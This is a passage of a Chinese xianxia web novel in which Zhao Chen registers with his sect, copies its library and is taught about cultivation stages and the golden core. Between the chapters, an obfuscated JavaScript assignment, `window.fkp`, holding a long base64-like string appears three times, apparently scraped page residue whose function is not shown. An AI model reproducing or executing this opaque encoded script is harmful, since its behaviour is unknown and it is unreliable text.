清昃十来岁上山,全部战斗经验便,除了童年时和邻近、街坊家的孩子打架之外,只有二十来场和师兄弟之间的比试。至于赵尘,前世虽有一个天下第一之名,但加上数十次以上击下,数十次年轻时和同辈之间的比试等等,全部战斗经验加起来都不到一百场。这一世,也就有些打猎的经验,也就比清昃好些。 便这样菜鸡互啄了一刻钟有余,两人就同时收手了。经一番交手,两人间的关系更是熟络了不少,一番客套之后,清昃便安排人带赵尘去了客房。 …… 又半个多时辰,一番洗漱后,换上清昃送来的衣物,赵尘便被人领去一处侧厅。 刚到厅上,赵尘便看见清昃换了一身宝蓝色直裰,已在主位候着。见赵尘入厅,清昃连忙起身,两人寒暄两句,分宾主坐下。 入座之后,两人闲聊了几句,赵尘问道:“先前在门前之时,见师兄眉间似有不乐?” “唉……” 闻言,清昃不禁深深的叹了口气,顿了顿:“小十七你先前说自己资质愚笨是谦虚过头,但愚兄却是实实在在的既鲁且愚!” “愚兄……我……我十一岁入山,至今已有三十二度春秋了,心性太差,不能明心见性。心性不能圆满,自是金丹无望。” 清昃摊开双手看了看:“养气三十一载有余,金丹却依然遥遥无期,就算剩下的四十多年的寿元耗尽,又能如何?” 说道这里,清昃沉默了一瞬,接着道:“小十七,你明日去首座处录名,正巧,到时愚兄和你一道。愚兄打算禀明首座,从经楼中选一卷武经,将体内的法力转化为先天真气,便下山去。” “先天武者寿元两甲子,如此便还有七八十年可活。也算不枉此生了……” 看着不断唉声叹气的清昃,赵尘也不知应该怎么安慰,只能干巴巴的说些“青衣白马,纵剑江湖,亦是一世自在逍遥”之类的话。 嘴上干巴巴的劝着,心里却尴尬万分,暗恨自己为什么要提及这个话题。 正在这时,两人的晚饭被捧了上来,汤汤水水的摆了十几个碟盘,看起来虽然清淡,却也精致、丰富。赵尘见此,暗自松了口气。 两人也没分桌,清昃拣着几筷子菜,就着下了两口米饭便停了,剩下的被赵尘连着几斤米饭全部塞进肚内。看的清昃目瞪口呆,便连心情都好了几分。随后两人便各自安歇去了。 window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 第四章 大教缘起 次日,刚至平旦,两人便已洗漱完毕,换好衣服。清昃让人牵出四匹马,带着两名护卫,和赵尘一起向云首山赶去。 清昃牵出的这四匹马也不普通,皆是猛兽级的马匹,一个时辰能跑出三百里,且每天以这个速度跑四五个时辰轻轻松松。换算一下,足有二百二十五公里每小时,日行两千公里不费吹灰之力。 所谓猛兽级,便是指普通的动物野兽通灵之后一个境界。普通动植物通灵之后,得天地造化,便会成为精怪猛兽。 所谓精怪,便是指智慧大增,不弱于人类,甚至略高于寻常普通人,并拥有一些迷惑人心的小法术的生灵。而猛兽,智慧虽有所增长,但还远不如精怪,但肉身强度却大为增加,足以和先天初期的武者相互搏杀的兽类。 这马也是宗门配发的,每人最多五匹,赵尘只领了一匹,交给钱穆使用。 卯正时分,赵尘、清昃一行人便赶到云首山下,远远便看见山脚下有一座道观。 因为上一次,赵尘来去都是明尘带着飞进来的和飞回去的,所以对那道观一点都不清楚。见此,清昃边将四匹马交个两名护卫牵着,同时对赵尘介绍起来。 这道观不大,除三间正殿之外还有十几间屋子,多是空屋,后门便是上山的路。观中大小道士数人,皆是首座长老的道童云云…… 正说话间,两人走到门前,便见一年轻道人从观中出来。 清昃对赵尘轻声介绍道:“这位师兄便是道观的观主,金丹期的修为,寿百五十,放在人间也是一位真修了。” 几人相互见礼之后,清昃说明两人来意。 对此,青年道人也没多做评价,从袖中摸出一只纸鹤,托于掌心,轻轻一抛,纸鹤便扑腾着翅膀向山上飞去。 随后一边领着清昃两人去沐浴更衣,一边唤来两个十多岁的小道童,吩咐其带着两名护卫去休息,以及将四匹马牵去后园马槽。 清昃两人换过衣服,在院中听着前面殿宇处传来的早课声,稍作不久,先前的青年道人便来到两人身前,领清昃上山。 半个多时辰之后,约辰初二刻,清昃回到院中,脸上不知是喜是悲,收拾行李,和赵尘告别。 赵尘将清昃等人送出道观,辞别之后,清昃行至马前,忽然转身:“师弟,此次一别,今生怕是没有再见之期了,保重!” 说罢,便驾马离去。 望着清昃三人驾着四匹马转过一片树林,消失在眼前,思绪飘飞间,忽然想起了《西游记》中美猴王在一次宴会中,忽然道心开发,萌生长生之望的情景。 心中不由想到:赵尘啊赵尘,三世轮回,你真把自己当成天命之子、气运主角了,人生苦短,红尘繁华,稍不注意,就沉沦其中了。 好似想明白了什么,赵尘深深吐了口气,深深的拜了一拜,不仅是对清昃,也是对自己。随即起身整了整衣裳。 “师弟今日道心萌发,可喜可贺!”青年道人不知何时出现在赵尘身后,轻声赞道。 “不过是稍有所感罢了,不值一提,让师兄久等了。” 青年道人闻言,轻声笑了笑,将赵尘领到半山腰的一座竹园的门前:“前面便是首座所在,师弟你沿着路一直往前走便是了。” 赵尘闻言,对青年道人一番道谢,整了整衣服,向竹园中走去。 绕过门前的一片竹丛,沿着一条从前庭穿过的小溪向上游走去,路过几丛沿溪兰芷,经过几片品种各异的灵竹,几座阁楼、篱院。只见翠藓堆蓝,满地奇葩,走了不到半里,眼前豁然开朗,出现一座很大的庭院。 庭中偏西南角,一株巨大的异树,亭亭如盖,看不出品种。树荫下,两个看起来约五十岁的道人相对而坐,好似在对弈。 一人身穿天青底色的道袍,上绣着各种祥云如意、奇花异草、仙禽神兽,隐隐间好似在发着光。正襟危坐,在棋盘上落了一子。 另一着藏青色道袍的道人,靠在躺椅上,身侧堆放着几本书,脸上还盖着一本书。对面落子之后,随手抓出一粒棋子朝棋盘按去。 赵尘进来之后,右侧正襟危坐的道人忽然化作一团似光似气的东西,飞入左侧道人体内。 同时,左侧的道人衣袖往桌案上一挥,棋、盘、书等东西都消失的一干二净。右手将脸上的书拿起,塞入袖中,坐起身来。 赵尘见此,连忙快步走到道人身前,恭敬一礼:“弟子赵尘,拜见首座长老……” 首座待赵尘见完礼后,示意赵尘在在先前正襟危坐的道人处坐下:“赵小子,看你这身气血元气,终于肯来录名了吗?” “首座说笑了,小子资质愚笨,至今日方完成固本培元,让首座失望了。”说着,取出玉珠向首座递去。 首座一边把玩着玉珠,一边感叹道:“不容易啊,固本培元,大多数人均是三个多月,再多的半年或一年等,耗时两年半以上的,整个玄天宗最近六百年也没有第两个,如你这气血的,四十五万年来也不知有几个。” “首座谬赞。” “没什么谬赞,我是实话实说。对了,赵小子,你是清字辈,道号清微如何?” “一切皆依首座。” 首座从袖中取出一枚玉牌,用手指以仙文在正面刻上“玄天宗,清微”五个字,翻过玉牌,背后刻上“玄天嫡传,第七百六十四辈,第七脉,第十七位;于第一百四十八纪元,第一劫,第四元,第七会,第十三运,第三百零五年,筑基录名”这一段话。 刻完字,用手一指赵尘,指尖一抖,从赵尘身上摄出一缕气息,扔进玉牌中。又将玉珠炼成一团似光似水的东西,炼入玉牌中,同时从袖中拿出金印,朝着玉牌用力一按,然后右手把金印塞入左袖。同时,左手把玉牌抛给赵尘。 赵尘连忙接住,刚要道谢,便听见首座说话,立刻抬头。 “赵小子……咳……清微师侄,今日你算是真正入门了,一些基本常识也要告诉你,” “还请师叔教诲。” “人们常说九天十地,这九天有七天有主,便是七大仙庭,十地有九地有主,便是九方冥土。” “九方冥土暂且不说,七大仙庭中北方玄天仙庭,在人间的道统便是玄天宗。同理,七大天宗就是七座仙庭在人间的道统,” “在这之下,人间门派又依次分为四等。上等是有得证大罗道果祖师的正道门派,中等是有成就太乙道果的祖师的左道门派,下等是曾有祖师成仙的仙门。” “这下等仙门之中又分两类六种:上上、上中、上下、下上、下中、下下。区别便是看现在是有有成仙祖师在,及祖师的境界。” “这第四等又称不入等或不入流,即门派中从来没有成仙的祖师。这之中又分两类,即有没有完整的成仙之法。” “我玄天宗六百年一代,到你已有七百六十四代了。” “每一代分九脉,第一个甲子拜入山门这为第一脉,依次类推,第九个甲子入门者为第九脉,第十甲子不收徒。” “接下来便是下一代弟子入门,同时在第一代弟子中选出掌教、各脉首座、长老等。待第三代弟子入山,掌教等职务由第二代弟子接任,第一代弟子除了选出的太上长老外,余着全部潜修。” “太上长老居于主脉,待二代弟子彻底·熟悉职务之后,大约一倒两个甲子之间,连太上长老也辞职潜修。” “第四代弟子入山,第一代弟子全部潜修,所以明面上,山上最多也仅有三代弟子,大多数时候更只有两代弟子。” “这也是你在天辰山脉中,连弟子带长老只能看见二十人,加上其他人也不到三百人的原因。” “说完宗门再说说你自己。师侄你如今只是天辰一脉的弟子,还算不得玄天嫡传。只有金丹之后,在掌教处录名之后才算。” 首座说着看了赵尘一眼:“这些都是俗物。没什么好说的,你只要知道就好,要是感兴趣的话自己看书去。” 说罢,首座整了整衣襟:“说完这些俗物,在说一说正事。” “养气阶段的修行简单来说分成三步:首先明心见性,反照自身,点亮灵台心灯。然后以心火灼烧内息,化作法力,同时修身养性,感悟自身,圆满心性。最后待心性和法力尽皆圆满之时,择机进阶金丹。” “你所在的山至少有三千多年没人入住。山中资源极为丰厚,但养气阶段尽量少服药草,以免内息或法力不纯。” “其次将内息转化为法力的关键是明心见性,点亮灵台心灯,这虽然可以由别人帮忙,点开识海,点亮心灯,但是最好还是自己开悟,明心见性,反照自身。” “比如清昃,养气十年,都做不到反照自身,点亮灵台心灯,后由我为其点开的识海,不说心性圆满了,连定心都定不住,心灯摇曳,修道三十二年,不过积累了些法力,如今下山去,唉……” 首座说着,看了看赵尘:“而清玉,书生出身,三十一岁上山,身体文弱,一年培元,三年养气,但自身读书读到骨子里,性光剔透,灵台彻照,调理好身体,积累够法力,立刻进阶金丹。走金丹法,五年便一转圆满,随后不到一年便又金丹二转。” “入门不过十年,都快赶上我了,”首座说着,一脸的感叹,“到他这一步,我用了四百八十年,不愧是最考验悟性的金丹法,有悟性的,一朝顿悟,举霞飞升都有可能。” “一不小心说多了,这你目前不必知道。话说回来,养气境也不过导引、吐纳、观想等罢了。具体的练气法门,我就不多说了,你自己去经楼选些适合自己的吧。” “多谢师叔教诲!” “师叔,我先前进来时看见?”赵尘好奇的问道。 “这不过是我的仙胎罢了,没什么好神奇的。” “仙胎?” “好了,这些等你进阶金丹之后自然会了解的,现在说这些太早了。”道人没好气的打断道。 “对了,清微,送你入门的明尘师叔让我将这交给你,让你进阶金丹后去见下他。”说着从袖中抽出一张帖子,交给赵尘。 赵尘恭敬接过帖子,看了眼,塞进衣袖中,只觉衣袖一沉,行了一礼:“师叔,那弟子先告退了。” 首座挥了挥衣袖:“去吧。” 赵尘闻言,又行了一礼,缓缓的从庭中退出。 window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 第五章 抄书 赵尘拜别首座,回到山脚,收拾完行李,向青年道人告辞之后,便向经阁赶去。 经阁离云首山不远,行大路的话不到八、九十里,若是翻山过岭,穿林趟水,还能再省去三十多里山路。 因为时间不急,一直到中午,赵尘也才走出三十多里地。随即停下脚步,稍辨别了一下方向,心中估算了下,又看了看天,想着自己从早上开始,除了在云首山脚下的道观里喝了口热茶外,便粒米未进。便在周围摘了些野果,找了块荫凉,打算歇一会再走。 赵尘靠在树下,一边啃着野果,一边打量着四周。想起袖中的帖子,三两口将手中野果啃掉,拍拍手,将贴子掏了出来,不由感叹道:“果然有明尘师叔祖的特色。” 只见手中帖子由黄金铸成,正面中间镶着一块长方行白玉片,上面用阳文刻着一道符诏,其余地方在黄金上刻满了紫金色的纹饰,还涂了层灰尘大小的各色晶体。 翻开帖子,一股凉气扑面而来,帖子里面涂了一层银白色不明金属,丝丝寒意从上面散发出来。表面刻满暗金色与银灰色的底纹。上写着了些待赵尘金丹时去见下他云云之类的话,也是由乌金色金属构成。 “这都能当板砖用了吧。”抛了抛手中的帖子,竟有十余斤重,又用手指弹了弹,“质量不错,当盾牌用小了点。也不知有什么妙用。”说着,赵尘将帖子塞回袖中,狠狠吐了口气,起身向远处赶去。 …… 当赵尘背对着夕阳,在身前拉出长长的影子,出现在经楼外时,望着眼前那藏于苍松古柏间,带着一个小院的经楼,不禁深深的呼出口气:“终于到了。” 随之抖落身上的尘土,理了理衣裳,朝着小院走去。 先前,赵尘所看的书都是入门时,一次性从首座处领回来的。所以,这也是赵尘第一次来经楼。 赵着院外的阵阵松涛声,赵尘推开院门,扫视一遍。 院子从外面看着不大,实际上却不小。正前方一座五层阁楼,飞檐斗拱,挂着铜铃,与两旁的耳房长廊围成一个天井。正中一株古松,郁郁葱葱,经霜耐雪,凌云直上。周边几片花圃,还有几套石桌、石椅,夹杂其间。 忽然,左侧传来一阵门响,赵尘转头看去,见一麻衣青年从屋中向自己走来。看面相,约二十五六,头插一木簪,面色微微泛黄,宛若暖玉,身着麻衣,脚上蹬一双草鞋。 赵尘连忙行了一礼:“见过长老。”同时将袖中玉牌递了过去。 “清微师侄,我负责看守经楼,还是第一次见到你,想来是第一次来吧。”青年接过玉牌看了看,还了回去。将赵尘引到一石桌旁,坐下。 “长老明见。”赵尘侧身侍立在一旁。 “称我师叔便好,不必拘束,坐。师侄你第一次来,有些事要向你交代一下。” “多谢师叔。”赵尘小心的在一旁坐下。 “这周围屋子里都没人,你自己选一间住下。那一间是厨房,你要吃饭自己做,我已辟谷多年,平时少有人来,你要用的话,需清扫一下。盛装米面的缸是件法宝,你自放心取用,其他调料之类的就没了。当然,你若嫌麻烦,厨房中也有几瓶精粮丸,是我自己炼的,服一粒管三天。” 听说周围屋子都没人,赵尘虽早有预料,赵尘故意走这么慢,五六十里的路直到傍晚才到,也有避开清昃的意思,毕竟已经道过别了,再见除了徒增伤感,别无益处,但真的和清昃错开了,可能是今生最后一次的见面。却也在心中暗自叹了口气,便又回过神来。 “此外,经楼中的书你可以在院中看,也可以在房中看,当然你要在经楼中看也随你,但不可将书带出院门,除非有首座的手谕。当然了,你要是自己抄录一份带回去也是没问题的,只是不能用法术。不过话又说回来,清微你好像还用不了法术。” “其实这经楼中也没什么高深的东西,但规矩如此。还有便是尽量不要损坏书籍,清微,你还有什么要问的吗?” 见赵尘表示没有疑问,青年便起身道:“既然没有了,那你先去选间屋子吧。我住在哪,你也看见了,若有问题,可来寻我。如此,我便先回去了。”说着便往房中走去。 见此,赵尘也连忙起身,随即对青年一礼:“弟子恭送师叔。” 青年背着赵尘摆了摆手,回到了屋中。 见青年回到屋子中,赵尘也随意选了间屋子,推门进去。屋中一目了然,仅一张木床,一张竹椅,一张木桌,桌上一盏油灯,两块燧石。稍加收拾,便从房间出去,向阁楼走去。 赵尘推开经楼大门,向里面看去,经楼里每一层中间都有一圈围栏,形成一数丈见方的天井,每一层都被分隔成一间间的房间,房门上写着条目。天井正中立着一盏一丈半高的巨型青铜灯,灯座上满是浮雕,在阴影中看不清楚。 整座经楼都被这座油灯照亮。赵尘的目光不由自主的被灯火吸引过去,随着灯火摇曳,恍惚之间,感觉魂魄都被拉了进去。 “醒来……” 只听见一声声钟声在心底荡起,赵尘立刻回过神来,一脸心悸,回过头:“师叔,这……” 却见长老正站在其房门处,一手持着本书,一手背贴在门环上,一根手指正弹着门铺。 “此物名为心灯,能晃动人心神,普通人看着它,只会觉得一阵恍惚,然后昏过去。但经常看着,有助于开辟祖窍,点亮性光。” 不待赵尘询问,青年便解释道:“你能被摄动魂魄,至少快明心见性了,心性不错。下次注意守住心神,不要看灯火,又或者把自己屋中油灯点燃,带着。” “油灯?” “对,这些屋子中的油灯也是一件法器,能镇守心神,并且和这座心灯气息绑定,效果更加明显好了。早点休息,我回去了。”说完,便又转身回房了。 赵尘感觉自己恍惚的心神,摇了摇头,随即关上门,连晚饭也不做了,直往自己房间走去。 …… 第二天,清晨,天微亮。 赵尘井中打了点水,清洗了一番,又打了一趟拳,舒缓了一下筋骨,天已是大亮,看了眼长老的房间,向经楼走去。推开门,连忙垂下眼皮,不去看灯火。将第一层的各房间门上的条目看了一遍。尽是些山川形胜,神话历史之类的。 从左往右数,第一间写着总纲,后面依次写着幽天三部洲,成天三部洲,朱天一部洲、一外海,玄天三部洲,钧天一部洲、一外海,炎天四部洲,变天三部洲,苍天三部洲,阳天三部洲。共计一总纲,二十四大部洲,两片外海,二十七个房间。 大致晃了一圈,赵尘又上了二楼,二楼一共十六个房间,皆是些天庭地府的常识,还有一些人物传记之类的,是对第一层的补充。第三层二十三个房间,皆是些武道功法。第四层最多,共有三十九个房间,全都是些关于金石草木,符篆丹药,法器阵势,法术咒言之类的知识。 当赵尘走到第五层时却意外发现,第五层仅六个房间。 第一间门上写着:混元一气结丹法。第二间门上写着:龙虎两仪金丹法。第三间门上写着:天人三才成丹法。第四间门上写着:四灵四象成丹法。第五间门上写着:正逆五行结丹法。第六间门上写着:外物结丹法,后面注着排小字写着:此类法门有些或许修炼简单、法力强大,然都是难以成道之法。 赵尘推开第一间的门,走了进去。房间内有一座很大的广场,房顶微微放着白光,将整个房间照亮,正中一白玉台,上面放着一黄金托盘,托盘上放着一卷青玉简。上书《混元一气法总纲?结丹篇》。 玉台后三丈,有一书架,上面是混元一气结丹法的具体导引,吐纳,观想,行气法门,以及相关的注意事项和常规问题的处理办法。 以玉台为中心,方圆十丈外开始,每一丈方圆就有一座书架,每一座书架便是一位修炼混元一气结丹法的弟子经验、问题、以及为了适合修炼者自己,而对结丹法具体练法作出的修改。这广场上的万余座书架,便是玄天宗九脉四十五万年来,所有修炼混元一气结丹法的弟子的成果。 赵尘在第一间房间里随意逛了一会儿,便从中离开,转身到第六间房门前。 推门进去。里面与第一间不同,被划分成一块块十丈方圆的场地,每块场地都放着少则半书架,多则三五书架的书,每块场地都代表着一种法门, 赵尘随意找了几片书架看了看,有将天罡地煞之气融入其中的罡煞结丹之法,有将军煞之气纳于体内的结丹法门,有将血煞之气融入法力的结丹之法。有将鲤鱼或蛇类精血纳于体内,以此为基,纯粹精血,取鲤鱼、蛇属化龙之意,借鲤鱼、蛇属化龙之力的鱼龙、龙蛇成丹之法等等。 所有法门各有千秋,但都精妙非凡。抬头看着周围数千块场地,赵尘突然叹了口气:“这一位位都是求道之人,辟道之人啊。可惜……成仙啊成仙!” 收拾好心情,赵尘走出房间,关上门,回到一层。推开第一间的门,看着房间中不过十余架书架的书,忽然想起前世在家人的安排下,试图读书科举的日子。 虽然当时他早已自觉明白了在武侠世界学小李探花是邪路,但还是家人的要求下试图咸鱼翻身,尝试挣扎一下。但志不在此,再加上心性不行,毅力不够,说不行就是不行,最后赵尘还是做了一个粗鄙的武夫。 好在经过这么多年的修行,好歹也是一位“几经轮回”、“数次证道”的“见神强者”,赵尘的心灵、信念和意志等早就今非昔比,虽然和前前世故事中的那些见神不坏相比,赵尘的心灵信念意志就和纸糊的一样虚假,但也勉强算是超出凡俗了。 再加上修仙确实在赵尘的兴趣上,所以这书还是可以读一读的。 想着一整座经楼的书籍,赵尘深深的叹了口气,随即闭目凝神,观想自家的磨盘,只觉的一片黑暗的虚空中,一面古朴的磨盘由静止开始慢慢的旋转,不停的从不知什么地方吸收着丝丝光芒。 睁开眼,走到书架前,抽出第一排第一本书,赵尘右手拿着书脊,左手拇指一抹,迅速将整本书在眼前翻了一遍。 闭上眼睛,过了一会儿,睁开眼,面露笑容,心中暗道:“很好,收藏典籍+1。但是,我是来修仙的,这抄书的架势,怎么弄的和巫师、法师似的。” “哎……这世上哪有不识字的神仙啊,真羡慕那种不要求心性、知识、悟性、智慧等,只要闭着眼睛堆资源就能成仙的法门啊。还是继续努力吧!” 说着,拿起第二本书……直到晚上,又从五楼带本书回到房间。从此以后,赵尘开始了早晨努力抄书,晚上回房苦读的生活。 window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 第六章 妙法 一直持续了近两个月,赵尘将最后一本书放回书架,深深吐了口气。 “终于抄完了,现在,我可以说自己是这一辈最博学的弟子了,大概吧。” 心思转动间,赵尘一下坐到地上,歇了好一会儿,才爬起身来,拍了拍身上不存在的尘土。又带着几本书离开经楼,回到房间,倒头就睡。 之后一个月,赵尘大概整理了脑海中的知识,并仔细体悟着各种练气法门的精妙。 一天清晨,赵尘从房间出来。看着庭中白霜,想着:“转眼便是十月份了,先是将整个经楼搬空,然后又不断做着读书笔记,这样用磨盘虽然消耗不大,但连续三个月,却也有些伤元气了,还是早点回去吧。” “不过说实话,这经楼人确实少,这三个月是压根没见到第三个人,一群学渣!”在这时,赵尘果断将入宗三年,也从没来过经楼的自己从中踢了出去。 一番收拾,待太阳升到半空,赵尘走到长老的屋门外,刚欲伸手敲门。 “清微,自己推门进来。” “师叔。” 赵尘行了一礼,抬眼看去,与自己房间相比,里面多了一面架子,上面除了些稿纸、卷轴、竹简、玉简外,还有些小瓷瓶、竹筒、铃铛、戒尺、如意等之类的。 “有什么事吗?”麻衣青年坐在桌前,手中持着卷竹简。 “小子这些天在经楼中大有收获,但心中也生了很多困惑,还望师叔解惑。” “嗯,房间太小,我们还是出去说吧。”青年微微点头,又看了看周围。 赵尘和青年到院中,随意选一石桌坐下。青年随手一挥,桌上出现两杯茶水,拿起一杯,抿了一口,示意赵尘:“你这三个月也算刻苦,都有些伤了元气。修行之路,才情、资质、气运都很重要,但更重要的在与一个恒字。一时的早晚并不重要,太过执着反而容易因执生妄念,反而不美。” 赵尘闻言有些不好意思,却也不敢胡思乱想,谁知道这师叔有没有大佬标配的读心术。 三世轮回,几十载岁月,简单的定心止念还是能做到的,毕竟修行内功需要。 “这紫阳茶树是我意外得来,仅吸收每天日出时分的一缕紫气,理论上万年长一寸,这树高五尺七寸,换句话说,这树已有五十七万岁了。但实际是,算上每年的阴雨天气,这实际树龄…… 紫阳茶树每月产一片嫩叶,小如蝇翅,泡一杯茶,少则需一两百片,多则三五百片,没多少妙用,但最能滋补元气,且一点也不伤根基,不污染元气,便是养气期也可以放心饮用。” “多谢师叔。” “无事,紫阳茶树说着好像很珍贵,实际上,这茶水也没其他用处,不算什么奇珍异宝只是比较少见罢了,没事多往深山里钻一钻,还是有可能遇到的,师侄你这三个月有什么体会心得,我们可以相互讨论讨论。” “不敢当。弟子发现这经楼中关于练气法,全部仅到金丹境界,这是为什么?” “这个,这本来要等你们到金丹后才告诉你们的。你既然问了,我也觉得早点知道也好。” “这成仙之法,皆是精气神的升华,由凡跃仙。所谓炼精化气,炼气化神,炼神返虚,炼虚合道不过此理。这炼精化气又分成培元、养气、金丹三步,这阁楼中所有的练气法都是讲从养气到金丹法门。” “师叔,那金丹是什么,金丹境界修的又是什么?我发现这阁楼中对此都是言语不详,更多的则是一笔带过。” “不错,你能问出这个问题,可见下了功夫。首先,你要分清金丹大道中九转金丹法所修出的金丹与金丹境界所修的金丹是两个东西。” “金丹大道中的金丹先不去说,这金丹境的金丹是什么呢?” “这首先要从养气境界开始说起,养气时,用性光心灯灼烧内息,转化成法力,这法力在体内如云烟,似潮水,飘渺无根,起伏不定。” “待心性圆满之后,性光心灯在心海中化为一轮明月。将这轮明月从心海降至玄关一窍,将周身法力纳于其中,熔炼圆润,便是金丹,与天地交感。这金丹是灵根,是根源,是周身法力的基础,是你日后超凡脱俗的根基。” “自己的金丹,对别人来说,是完全不存在的,是幻想出的虚幻产物。但对你来说,这金丹却是似实还虚但却又真实不虚的根基。所以金丹境的修行,完全可以用八个字来概括,既:灵根孕育,根性坚固。” “那师叔,这金丹境之后的境界是什么,经楼中为什么没有呢?” “经楼中没有,这自然是为了保密,也是为了防止弟子好高骛远。你没发现吗,经楼中不但没有金丹之上的法门,连培元境的功法也没有。” “这培元境,寻常人三个多月到半年便能修完,但很少有人能体悟出其中妙处。清微,你刚完成培元境的修行,看起来修的还不错,你来说说培元境有何妙处?” “呃……”赵尘仔细想了想,摇了摇头:“弟子只体悟到了固本培元,还有对资质根骨的提升,其它的就不知道了,还请师叔解惑。” “培元境的修行分成三个方面,一为固本培元滋长元气,弥补诸般缺漏和不足。其二是模仿诸位先天神圣,更改易资质,成就各种道体。其三才是铸就道基,仙道之始。” “这其中,固本培元最是浅显,成就道体之法便比较珍贵了这其中以天成道体为最上。所谓天成道体,便是道体宛若天地自然造就,非人力可比。若说那些先天神圣是天地花费亿兆精力精心雕琢而成,那天成道体便是天地用一分精力照着先天神圣弄出来的。虽只一分精力,也不是其它道体所能比的。” “至于铸就道基之法,从最低的一分道基到最高等的十成,也就是圆满道基,总共可分为一百等。” “道基做为超凡之始,便是世俗中可以修成先天境界的武道功法,其中都糅合着至少一分道基的法门。所以铸就低等道基的法门,近乎于烂大街,而每高上一成,其珍贵性便大幅度上升。” “那至于铸就圆满道基之法,更是仅在七大天门与少数正道门中流传的不传之秘。藏在你平时吃食、修行、所居山川地势甚至玄天门下这一个名分之中,便是我也只总结出铸就七成道基的法门。” “那道基究竟是什么?” 听见赵尘的疑问,青年道人看了赵尘一眼,好像看出了赵尘心中所想,笑道:“所谓铸就道基可不是在体内丈量、观测或是开辟某个冥冥不可测度的空间,并在这个空间之中搭建一座或三五阶,或七八阶,亦或是九阶、十阶,乃至一百阶的阶梯、高台、祭坛之类的东西。” 赵尘闻言有些不好意思的笑了笑,突然心中又陡然一紧:“这位师叔果然有些读心的手段。” “清微,你在之前培元境的修行中有这样的感觉或经历吗,”不待赵尘回答,青年道人继续道:“所谓道基,其实是对许多东西的总结概括。” 说着,青年道人朝赵尘看去,赵尘顿觉心惊肉跳,好像青年道人马上会抬手朝自己点杀过来。 看着赵尘骤然紧绷的身体,青年道人笑着将一缕垂落在赵尘身上的心念收回:“刚才我将心念垂落你身上,这心念比神意更加飘渺,却被你的灵觉感应到了。这灵觉便是道基的组成部分之一,同境界之间灵觉的灵敏与否,也是区别不同等级道基的一种方法。” “其余还包括心灵层面的修持、对万事万物的记忆、计算、演绎能力的高低,看待万事万物的角度及全面与否,逻辑结构等等都是道基的一部分。除此之外,还有浑身筋肉骨骼的排列,对天地间诸般元气气的感知、吸收、消化、利用的效率等,这不仅是道体高下的表现,也是道基的一部分。” “心性、悟性、资质、根骨、运势、气数等许多许多,这都包含在道基之内,而其中许多都是由先天决定的,但经过了后天的诸般损耗,所以要将这些后天的损耗修正、补全。还有许多是由道体决定的。所以培元境的修行修补泥胚,成就道体、铸就道基这三种修行是同时进行的。” 说到这里,青年道人端起茶抿了一口:“说完培元境的修行,再说一说金丹境之后的。” “这金丹之后的功法,也多是只能当做总纲方向之类的用以参考。你看,经楼中五大练气法门,十数万人修炼便有十数万种调整,金丹前尚且如此,金丹后更不要说了。” “金丹之后,可分成天、地、人、神鬼五仙五条路,每条路又可以分成多种法门。每种法门,各境界称呼各不相同。其余的,待你金丹之后再说吧。” “是,师叔,那经楼中五种练气法门,又有何区别?” “这倒是问到精妙处,先说这混元一气法,这是最早的法门,乃是上古时代便传下的无上筑基法门,练出的法力最宜养生。” “再之后,出现了天人三才法,相传是出现于中古年间,用来施展天罡地煞之数的法术最为精妙,这两门练气法在七大天门建立时被仙庭传下。” “再之后是龙虎两仪法,取人体阴阳二气之意,所修法力最适阴阳属性的法术,尤其雷法,极为突出,若是参悟到高深处,更是能演化、操弄龙虎气,威力更是莫测。是四十二万年前,幽天门下,一位天才弟子所创,待其成仙后,由仙庭赐予其他天门。” “再往后是三十八万年前,朱天门下弟子所创的正逆五行法,取人体五脏对应五行之意,所修出的法力最适五行法术。” “再之后是三十万年前炎天门下弟子所创的四灵四象法,取人体四肢以应四极,对应四象,成就四灵之意,所修法力最擅长于借物化形。” “借物化形?” “你看。”长老指着远处草丛,翻手一招,一根草叶飞了过来,用大拇指和中指掐着草叶,往桌上一扔,变成了条小青蛇,又弯腰从地上拾起一小土粒,往桌上一弹,变成了一小龟,小蛇与小龟经过一番生死搏斗后,同归于尽,又变回了草叶和土粒。 “这就是借物化形,借物化形不但可以甲变乙,还可以一变二。练到高深处,甚至能树枝变苍龙,滴水化沧海。” “这么厉害。”赵尘听的两眼放光,不由自主道:“那师叔你能做到吗?” “咳咳……神通法术之类的都是护道手段,切不可本末倒置。” 赵尘一听,立刻拱手道:“多谢师叔教诲,弟子明白了。” “这正逆五行法和四灵四象法修炼到精深处,更能体会出其中的开辟伟力,其威能也是不容小窥。至于其他的精妙之处,离你还是太远了,没什么好说的。” 赵尘也是闻弦知意,立刻开口道:“弟子在此已三个月了,正打算向师叔辞行。” “要走了吗,这样也好,记住修行贵在持之以恒,去吧。记得把书还回经楼,不要带出院门。” “如此,弟子告退了。” 看着回房整理行李的赵尘,青年微微点头,手一挥,将茶杯收回,也转身回房去了。 …… 数天之后。 山脚小院之中,一如三月之前,钱穆正在打拳。忽猛一抬头:“公子,你回来啦。” “钱叔,我回来了,这三个月有什么事吗?”看见自家院子,赵尘狠狠吐了口气,笑道。 “公子,这三个月没有什么事发生。” “钱叔,我刚从经楼回来,打算闭关,先回房去。就不必管我了。” “是,公子。” 